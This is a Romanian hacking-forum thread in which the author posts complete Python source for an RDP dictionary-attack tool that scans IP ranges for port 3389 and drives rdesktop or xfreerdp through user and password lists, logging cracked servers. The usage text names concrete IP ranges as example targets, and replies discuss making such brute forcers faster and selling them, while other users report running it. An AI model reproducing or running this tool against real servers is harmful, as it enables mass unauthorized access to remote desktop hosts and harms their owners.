Jump to content
cmiN

[RST] [Python] RDP Brute (cli) [cmiN]

Recommended Posts

Daca se dovedea a fi eficient la partea de crack il tineam privat, dar asa ii fac publica sursa, poate il imbunatateste cineva sau invata ceva din el. E mai mult un wrapper si se foloseste de rdesktop, dar in teorie ar trebui sa sparga ceva (am testat pe niste servere cunoscute plasate printre altele si cu niste liste de parole decente si uneori le prindea alteori sarea peste ele in aproape aceleasi conditii locale).

Alte nelamuriri vedeti sursa.


#! /usr/bin/env python
# RDP Dictionary Attack
# 21.05.2012 cmiN
#
# THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY
# I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM
#
# Connect with rdesktop, xfreerdp or something similar using
# servers, users and passwords from files.
# After checking if the port is opened, the wrapper opens a shell console
# executing the client with data from input files. In the meantime
# a local socket is accepting connections from the target and if the link
# is established then the user and password for that server are a match.
#
# You need rdesktop/xfreerdp (sudo apt-get/yum/equo install rdesktop/freerdp).
# On gentoo based systems use emerge to find and install the newest packages.
# Contact: cmin764@yahoo/gmail.com




from sys import argv, platform
from threading import Thread, active_count, Lock
from subprocess import Popen
from socket import *




# defaults
THRD = 4 # how many threads for crack phase
TOUT = 6.0 # timeout in seconds
# get global host ip
try:
sock = socket(AF_INET, SOCK_STREAM)
sock.connect(("www.google.com", 80)) # assuming google works
except error as excp: # error from socket (timed out or invalid server)
print "Check your internet connection: %s." % excp
exit()
else:
HOST = sock.getsockname()[0]
finally:
sock.close()
del sock
PORT = 51337 # used for local listening
# attack modes
RDP1 = ["rdesktop", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}",
"-g", "1x1", "-a", "8", "-x", "m", "-z", "-m", "{server}"]
RDP2 = ["xfreerdp", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}",
"-g", "1x1", "-a", "8", "-x", "m", "-z", "--no-motion", "{server}"]
VERB = False # verbose
METH = "r" # RDP1
USER = ["Administrator"]
SAFE = True
SWTC = True
LIMT = None # attacks (test only, None -> unlimited)




class Engine:
"""Main class used to find and crack servers with desired options.
For more info see usage from the bottom of the script.
It executes commands through subprocess and waits for replies within timeout.
"""


def __init__(self, threads, timeout, host, port, rdp1, rdp2, verbose, method, usr, safe, switch):
"""Copy global options and prepare the core."""
self.cli = True # activate print/stdout (set to False if a GUI is used)
self.threads = threads
self.timeout = timeout
self.host = host
self.port = port
self.rdp1 = rdp1
self.rdp2 = rdp2
self.verbose = verbose
self.sockets = dict() # D[x] = True if x is available otherwise False
self.pos = list() # list with indexes (user, password, server, telnet)
self.usr = usr
self.pwd = None
self.srv = None
# set the command used for scanning
if method == "x":
self.command = self.rdp2
else:
self.command = self.rdp1
# default: don't save
self.working = None
self.cracked = None
self.good = list() # rdp servers
self.delete = set() # dispose of cracked servers
self.lock = Lock() # global printing thread synchronization
self.sock_mutex = Lock() # for localhost socket use
if "linux" in platform:
self.null = open("/dev/null", "w")
else:
self.null = open("NUL", "w")
self.safe = safe
self.switch = switch


def __del__(self):
"""Destructor."""
if hasattr(self.srv, "close"):
self.srv.close()
if hasattr(self.usr, "close"):
self.usr.close()
if self.pwd:
self.pwd.close()
if self.working:
self.working.close()
if self.cracked:
self.cracked.close()
for sock in self.sockets:
sock.shutdown(SHUT_RDWR)
sock.close()


def generator(self, src, dest):
"""Just like grandpa's old mileage meter :]."""
temp = "%d.%d.%d.%d"
byte = 256
yield temp % tuple(src) # yield -> the beauty of python
while (src != dest): # like return but continue
src[3] += 1
if src[3] == byte:
src[3] = 0
src[2] += 1
if src[2] == byte:
src[2] = 0
src[1] += 1
if src[1] == byte:
src[1] = 0
src[0] += 1
yield temp % tuple(src)


def set_threads(self, threads):
self.threads = threads


def set_safe(self, safe):
self.safe = safe


def set_switch(self, switch):
self.switch = switch


def set_timeout(self, timeout):
self.timeout = timeout


def set_verbose(self, verbose):
self.verbose = verbose


def set_method(self, method):
if method == "x":
self.command = self.rdp2
else:
self.command = self.rdp1


def set_usr(self, usr):
"""If this is called, then the users are taken from a file."""
self.usr = open(usr, "r") # do not use the generic one


def set_pwd(self, pwd):
"""The file with passwords is mandatory."""
self.pwd = open(pwd, "r")


def set_srv(self, srv):
"""Make a file object or range generator from argument."""
if srv.find("-") == -1: # not found -> not range
self.srv = open(srv, "r")
else:
chunks = srv.split("-")
src, dest = chunks[0].split("."), chunks[1].split(".")
for i in xrange(4):
src[i] = int(src[i])
dest[i] = int(dest[i])
self.srv = self.generator(src, dest)


def set_working(self, working):
"""Save progress in scan phase."""
self.working = open(working, "a") # safe append


def set_cracked(self, cracked):
"""Save progress in crack phase."""
self.cracked = open(cracked, "a")


def scan_server(self, server):
"""Check if the rdp port is opened on the specified server."""
try:
# create the socket and connect
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((server, 3389))
except error:
# timed out in most cases
if self.verbose:
self.lock.acquire()
if self.cli:
print "[-] %s [NO]" % server # only with -v
self.lock.release()
else:
# good news everyone
self.lock.acquire()
if self.cli:
print "[+] %s [OK]" % server
self.good.append(server)
if self.working:
self.working.write(server + "\n")
self.working.flush()
self.lock.release()
finally:
sock.close()


def scan(self):
"""Just like a port scanner for 3389."""
setdefaulttimeout(self.timeout / 10.0) # 10%
for server in self.srv:
while active_count() > self.threads * 16:
pass # do not exceed number of threads
if self.switch: # scan them
# now call the method in a separate thread
Thread(target=self.scan_server, args=[server.strip()]).start()
else: # or skip the scan
self.good.append(server.strip())
while active_count() > 1:
pass # join all


def acquire_sock(self):
for sock, state in self.sockets.iteritems():
if state: # available
self.sockets[sock] = False # use it
return sock


def release_sock(self, sock):
self.sockets[sock] = True


def crack_server(self, command):
try:
# get a server
self.sock_mutex.acquire()
sock = self.acquire_sock()
self.sock_mutex.release()
command[self.pos[3]] = command[self.pos[3]].format(port=sock.getsockname()[1])
child = Popen(command, stdout=self.null, stderr=self.null) # no wait
sock.accept() # here is the big overhead
except error as excp:
# timed out
if self.verbose:
self.lock.acquire()
if self.cli:
print "[-] %s %s %s [NO]" % (command[self.pos[2]], command[self.pos[0]],
command[self.pos[1]])
self.lock.release()
else:
# good news again
show = "%s %s %s" % (command[self.pos[2]], command[self.pos[0]], command[self.pos[1]])
self.delete.add(command[self.pos[2]]) # cracked! no need to process again
self.lock.acquire()
if self.cli:
print "[+] " + show + " [OK]"
if self.cracked:
self.cracked.write(show + "\n")
self.cracked.flush()
self.lock.release()
finally:
child.kill()
# do not close it, instead release it for further use
self.release_sock(sock) # O(1) and can't affect the same socket


def crack(self):
"""For each user take each password and test them with each working server."""
goodLen = len(self.good)
if goodLen == 0:
if self.cli:
print "[!] No servers to crack."
return
if self.safe: # avoid deadlocks or strange behavior
self.set_threads(min(self.threads, goodLen))
users = [line.strip() for line in self.usr]
passwords = [line.strip() for line in self.pwd]
if self.cli:
print "[i] Cracking %d hosts in %fs." % (goodLen, float(len(users)) * len(passwords) *
goodLen * self.timeout / self.threads)
setdefaulttimeout(self.timeout) # now use the real timeout
# prepare the sockets
for port in xrange(self.threads):
sock = socket(AF_INET, SOCK_STREAM)
sock.settimeout(self.timeout)
sock.bind((self.host, self.port + port))
sock.listen(1)
self.sockets[sock] = True
# init command template
command = self.command
shellIndex = command.index("telnet {host} {port}")
command[shellIndex] = command[shellIndex].format(host=self.host, port="{port}")
self.pos = [command.index("{user}"), command.index("{password}"),
command.index("{server}"), shellIndex]
attacks = 0
for user in users:
command[self.pos[0]] = user
for password in passwords:
command[self.pos[1]] = password
for server in self.good:
command[self.pos[2]] = server
while active_count() > self.threads:
pass # do not exceed number of threads
attacks += 1
if LIMT and attacks > LIMT:
if self.cli:
print "[!] Limit reached, buy the script."
return
# now call the method in a separate thread
Thread(target=self.crack_server, args=[command[:]]).start()
for server in self.delete: # N^2 can be reduced to NlogN with set
self.good.remove(server) # and also to N with index memorization
self.delete.clear()
while active_count() > 1:
pass # join all




def parse():
at = 1
params = list()
while at < argc:
if argv[at] in ("-h", "--help"):
print usage
exit() # do not start the process
elif argv[at] in ("-v", "--verbose"):
app.set_verbose(True)
elif argv[at] in ("-t", "--threads"):
at += 1
app.set_threads(int(argv[at]))
elif argv[at] in ("-T", "--timeout"):
at += 1
app.set_timeout(float(argv[at]))
elif argv[at] in ("-m", "--method"):
at += 1
app.set_method(argv[at])
elif argv[at] in ("-w", "--working"):
at += 1
app.set_working(argv[at])
elif argv[at] in ("-c", "--cracked"):
at += 1
app.set_cracked(argv[at])
elif argv[at] in ("-s", "--safe-off"):
app.set_safe(False)
elif argv[at] in ("-n", "--no-scan"):
app.set_switch(False)
else:
if argv[at][0] == "-":
raise Exception("Invalid option")
params.append(argv[at])
at += 1
pLen = len(params)
if pLen not in (2, 3):
raise Exception("Invalid number of parameters")
app.set_srv(params[-1])
app.set_pwd(params[-2])
if pLen == 3:
app.set_usr(params[-3]) # same index as 0




def main():
try:
if argc == 1:
# show a message or start the GUI which is missing
print "You should run: %s --help" % argv[0]
exit()
# or parse the arguments
parse()
# and start the scanner
print "[i] Scan phase started."
app.scan() # filter the input for working rdp servers
print "[i] Crack phase started."
app.crack() # crack them
except Exception as excp:
print "[x] Error: %s." % excp
except KeyboardInterrupt:
print "[!] Stopped."
else:
print "[i] Finished."




if __name__ == "__main__":
argc = len(argv)
usage = """
Usage: {0} [options] [usr] pwd srv


Options:
-t, --threads <number> number of threads (parallel connections)
-s, --safe-off by default the number of threads is reduced
to the number of working servers if it's greater
use this option to keep the number of threads
-T, --timeout <seconds> waiting response time for each connection
-m, --method <r/x> use [r]desktop or [x]freerdp
-w, --working <file> file used to store servers with 3389 opened
-c, --cracked <file> file used to store cracked servers
-n, --no-scan skip scan phase asumming all servers are working rdps
-v, --verbose show extra information (default off)
-h, --help show this help


Parameters:
usr users file (default users: {1})
pwd passwords file
srv servers file or range (abc.def.ghi.jkl-mno.pqr.stu.vwx)


Examples:
{0} -c cracked.txt passwords.txt 68.195.205.60-68.195.211.60
{0} -w good.txt --timeout 2 -s pass.txt 91.202.91.119-91.202.94.15
{0} -t 256 -T 5 -v -c cracked.txt -n users.txt pass.txt good.txt


Users, passwords and working servers are loaded into memory.
Be aware to not open a file for both read and write. More exactly do not use
the same file name with `-w`/`-c` and `srv`.


THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY
I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM


Send bugs to cmin764@yahoo/gmail.com.
""".format(argv[0], USER)
app = Engine(THRD, TOUT, HOST, PORT, RDP1, RDP2, VERB, METH, USER, SAFE, SWTC)
main()
del app

Edited by cmiN
  • Upvote 2

Share this post


Link to post
Share on other sites

pana acu te plangeai ca intru eu cu python in topicurile tale de c si c++ si acu vad ca e invers.

sau incerci sa ne inveti ce e aia ipocrizie? ne'ai dat un exemplu foarte bun sa sti.

Share this post


Link to post
Share on other sites

Diferenta e ca n-a cerut nimeni ajutor in nici unul dintre limbaje si stiu eu sigur ca nu-l conving pe cmin de nimic deci comentariul meu a fost mai mult asa, 'told you so' . Te ataci prea usor.

Daca inca n-ai inteles care a fost motivul initierii argumentului ala , a fost indrumarea incepatorilor pe diferite cai si combaterea miturilor din populimea asa zisilor "programatori".

Share this post


Link to post
Share on other sites
Diferenta e ca n-a cerut nimeni ajutor in nici unul dintre limbaje si stiu eu sigur ca nu-l conving pe cmin de nimic deci comentariul meu a fost mai mult asa, 'told you so' . Te ataci prea usor.

Daca inca n-ai inteles care a fost motivul initierii argumentului ala , a fost indrumarea incepatorilor pe diferite cai si combaterea miturilor din populimea asa zisilor "programatori".

Sincer nu conteaza limbajul in care e realizat ci conteaza abordarea, urat este ca a folosit o librarie complicandu-si putin aplicatia, mai simplu era daca crea o conexiune folosind socket.

Nu cred ca py este mai rau sau bun pentru a fi folosit pentru un proiect de genu, conteaza abordarea.

edit: vad ca rdesktop este un client, my bad

Share this post


Link to post
Share on other sites

Aici e problema, ca ma folosesc de rdesktop, adica deschid la propriu clienti si le mai si apar ferestrele pe ecran (am optimizat cat de mult din parametri sa foloseasca cat mai putine resurse pentru realizarea conexiunii (rezolutie, calitatea culorii, compresii, etc.)). Aici C/C++ nu facea nicio diferenta (poate castiga cateva milisecunde) dar daca implementam protocolul manual (ceea ce mi se pare mai mult decat imposibil, m-am uitat si prin xrdplib (@ C) trebuie mai intai creata interfata, ntlmuri peste ntlmuri, tot felul de pachete non ascii trimise in moduri diferite, compatibilitate cu fiecare versiune a protocolului si sistemului de operare, etc) atunci cel care facea diferenta era INTERNETUL, cand faci programare in retea mai ales low level se recurge in "interior" la aceleasi headere si viteza aproape e aceeasi fiindca cum am mai spus cel care-si spune cuvantul este viteza conexiunii sau configuratia sistemului in sine.

Cum spunea si benny din toate motivele care exista sau pot aparea in ineficienta scriptului 95% apartin abordarii, aceea ca ma folosesc de alt program pentru realizarea conexiunilor si prin telnet (remote) accesez un port local pentru a stabili daca combinatia user-pass a mers (+ false negative in cazul in care telnetul nu functioneaza, exista firewall, varii motive pentru depasirea timeoutului, instabilitate, etc.).

In loc sa va bateti pe limbaje ati putea ajuta daca ar traduce cineva o parte din biblioteca care sta la baza rdpului sau implementarea protocolului (daca-l intelegeti sunteti zei) sau astia bosi cu C/C++ de ce nu izolati o parte din cod sa reduc acel rdesktop doar la partea de conexiune si analiza a pachetului returnat pentru stabilirea rezultatului (a mers sau nu) dar din pacate cred ca totul e pe baza de interfata si trebuie un regex pe return, cred.

Edited by cmiN

Share this post


Link to post
Share on other sites

Ca sa faci un brute forcer eficient trebuie sa ai networking de calitate superioara, nu stiu cat de usor e ajuns telul asta in python. Singurul bottleneck al bruteforcer-ului facut de mine este bandwidth-ul, nu e problema codului.

Pe langa asta problema folosirii python intr-un proiect de genul este ca tre sa-l rescrii de la 0. Daca ar fi fost vreun client rdp scris in python mai ziceam dar asa..

Si oricum , i-am mai zis cam ce trebuie sa faca in threadul anterior, din pacate s-a lasat batut . Te-as fi felicitat daca te-ai fi chinuit macar dar wrappere peste procesul rdesktop sunt multe pe internet si toate-s slabe.

LE : conteaza limbajul ca nu poti sa modifici cod C in python, sau sa adaugi python la C. ( vorbim strict de proiectul asta )

Edited by phreak

Share this post


Link to post
Share on other sites

M-am referit ca nu conteaza limbajul atunci cand apar factori "prea obositori" comuni, am codat destule exemple de algoritmi cu complexitati destul de ciudate si-ntr-un limbaj compilat si unul interpretat si diferentele de timp sunt extrem de mici, singura care conteaza este complexitatea (si multi (programatori de carton) fac acelasi algoritm mai ineficient intr-un limbaj interpretat, fiindca nu cunosc ce sta la baza (in "interior") a ceea ce folosesc si de aici rezulta si imediata prejudecata ca "ar fi iesit mai rapid in C") oricum eu raman la si sustin ideea ca intotdeauna un limbaj compilat va fi mult mai rapid decat un limbaj interpretat, dar in cazul python (proiectul acesta) toata munca e preluata de partile "interioare" ale interpretorului si acelea sunt codate in C.

Asa e m-am lasat batut, dar m-am lasat dupa ce am inteles cat de complicata e treaba si ca nu prea aveam cod reutilizabil acolo, o singura chestiuta de modificai se dadea peste cap totul iar sursele sunt in stransa legatura, nu poti lua asa pur si simplu coreul si sa trunchiezi de prin el sau sa folosesti niste functii de care ai nevoie pentru a stabili conexiunea si gata, ajungi in situatia in care iti pare rau ca ai facut atat "reverse" pe obfuscatiile alea si nu ai implementat protocolul de la 0.

Daca aveam o astfel de biblioteca sau cunostiintele necesare incat sa inteleg perfect acele biblioteci open-source as fi scris codul pur C nu mi-e frica de un astfel de limbaj si nu-l consider mai greu, dar din moment ce abordarea e un esec nu se mai pune in discutie ce unealta va fi mai eficienta.

Repet codul este pentru a ilustra si un alt punct de vedere al firelor de executie si ceva sincronizari pentru amatori, codul asta face orice numai sa sparga nu face :).

P.S.: Vreau sa vad si eu codul sursa a unui wrapper decent pentru rdp daca tot zici ca sunt cu sutele pe net.

Edited by cmiN

Share this post


Link to post
Share on other sites

Te complici mult prea mult, normal ca se fute tot la inceput , de aia-i zice trial and error.

Eu am facut asa : m-am uitat prin rdp_connect din rdesktop.c pana la tcp.c ( se cheama in lant, rdp_connect, mcs_connect, sec_connect, iso_connect, tcp_connect , nu mai tin minte ordinea exacta intre mcs si sec ) , asta doar ca sa-mi fac o idee. Dupa ce am inteles flow-u am scris un script cu care mi-am copiat in mare parte doar functiile folosite in lantul connect si recv dupa care am format o clasa ( C++ ) . A durat cam o luna jumate incapsulatul + convertirea din blocking in non-blocking ( folosind boost asio ) dupa care am mai pierdut vreo luna de trial and error cu prostia aia de rdesktop-brute care mai mult te induce in eroare , solutia este recunoasterea bitmap-urilor trimise de server.

Doar scoaterea ferestrei e relativ simplu, stergi toate call-urile la functii din xwin.c. In rest te las pe tine sa descoperi deja dau sfaturi moca.

Wrapper in genu ( daca nu mai bun ) a ceea ce ai facut tu : https://rstcenter.com/forum/51899-qtss-brute-v-2-0-private.rst

Share this post


Link to post
Share on other sites

Atunci respect, eu nu mi-am permis sa pierd mai mult de 3-4 zile cu asa ceva si mi-am dat si eu seama ca trebuie sa parsezi frame buffere si nu un sir sau return code care sa-ti spuna in paralel care e situatia, micro$hit protocol.

Succes cu clasa poate o publici intr-o zi sub lgpl.

Share this post


Link to post
Share on other sites

Din nou iti zic ca te pierzi in amanunte.. nu stiu de ce frame buffere vorbesti sau return code-uri , iti garantez ca sunt irelevante pentru scopul tau. Tu trebuie doar sa extragi "din mers" informatii relevante si singurele informatii relevante care merita extrase sunt bitmapurile si mesajul de succes. Pana atunci ai de lucru cateva luni sa-l aduci doar in stadiul in care parsezi chestii si incapsularea / modificarea call-urilor de retea nu tine de protocolul microsoft deloc, tine de munca migaloasa si nervi de otel.

Clasa nu cred ca o voi publica in veci la cata munca am bagat in ea , nu e genul de proiect care ajuta "comunitatea programatorilor" in vreun fel, faci ceva de genul asta il vinzi si-l vinzi scump ca sa nu se raspandeasca, iti dai seama ce potop ar fi daca ar avea toti skizzi de 13 ani bruteforcer de 1000 attempts pe secunda? Ma mir ca au publicat moca dubrute-ul , nu vad logica in spatele deciziei.

Share this post


Link to post
Share on other sites

Heads Up to the Programmer

the Source is really clean and simple and very effective then the normal programs

+1 and thanks for sharing the source with us :)

Share this post


Link to post
Share on other sites
Din nou iti zic ca te pierzi in amanunte.. nu stiu de ce frame buffere vorbesti sau return code-uri , iti garantez ca sunt irelevante pentru scopul tau. Tu trebuie doar sa extragi "din mers" informatii relevante si singurele informatii relevante care merita extrase sunt bitmapurile si mesajul de succes. Pana atunci ai de lucru cateva luni sa-l aduci doar in stadiul in care parsezi chestii si incapsularea / modificarea call-urilor de retea nu tine de protocolul microsoft deloc, tine de munca migaloasa si nervi de otel.

Clasa nu cred ca o voi publica in veci la cata munca am bagat in ea , nu e genul de proiect care ajuta "comunitatea programatorilor" in vreun fel, faci ceva de genul asta il vinzi si-l vinzi scump ca sa nu se raspandeasca, iti dai seama ce potop ar fi daca ar avea toti skizzi de 13 ani bruteforcer de 1000 attempts pe secunda? Ma mir ca au publicat moca dubrute-ul , nu vad logica in spatele deciziei.

se va sti intodeauna cine a fost dubrute (telxp), cred ca asta a vrut sa reflecteze acel telxp, e ca in viata de zi cu zi, ce daca muncesti enorm, a facut asta pentru o cauza. dai un nume, si dai drumu pe net "nimic nu se pierde, totu e castigat"

cum ar fi fost daca nu aparea aspirina, ori pixul, ori telefonul , radio , etc .. conteaza cine foloseste?!

Share this post


Link to post
Share on other sites
how does it work?

still "[x] Error: Invalid number of parameters."

thanks for sharing

acelasi lucru imi da si mie pe windows, lam testat pe unix si merge binisor scanneru, partea de brute ... cam sare pe ideea din 2 in 2 poate al 3 lea il ia ... dar o fi de la mine nu am stat sa ii dau de cap dar o data prinde un ip o data nu dupa cateva incercari iar ii da OK, dar poate e de la serveru pe care l-am testat

Share this post


Link to post
Share on other sites
si commands ?

Examples:

{0} -c cracked.txt passwords.txt 68.195.205.60-68.195.211.60

{0} -w good.txt --timeout 2 -s pass.txt 91.202.91.119-91.202.94.15

{0} -t 256 -T 5 -v -c cracked.txt -n users.txt pass.txt good.txt

Share this post


Link to post
Share on other sites

In caz ca mai citeste cineva topicul asta si e interesat de ce munceam eu in perioada aia, nu ma contactati decat daca lucrati pentru o firma care are nevoie de soft pentru scopuri legale si sunteti dispusi sa emiteti factura pentru orice serviciu necesar.

Share this post


Link to post
Share on other sites
In caz ca mai citeste cineva topicul asta si e interesat de ce munceam eu in perioada aia, nu ma contactati decat daca lucrati pentru o firma care are nevoie de soft pentru scopuri legale si sunteti dispusi sa emiteti factura pentru orice serviciu necesar.

ba dute`n kkt.

Share this post


Link to post
Share on other sites
Guest
This topic is now closed to further replies.

×
×
  • Create New...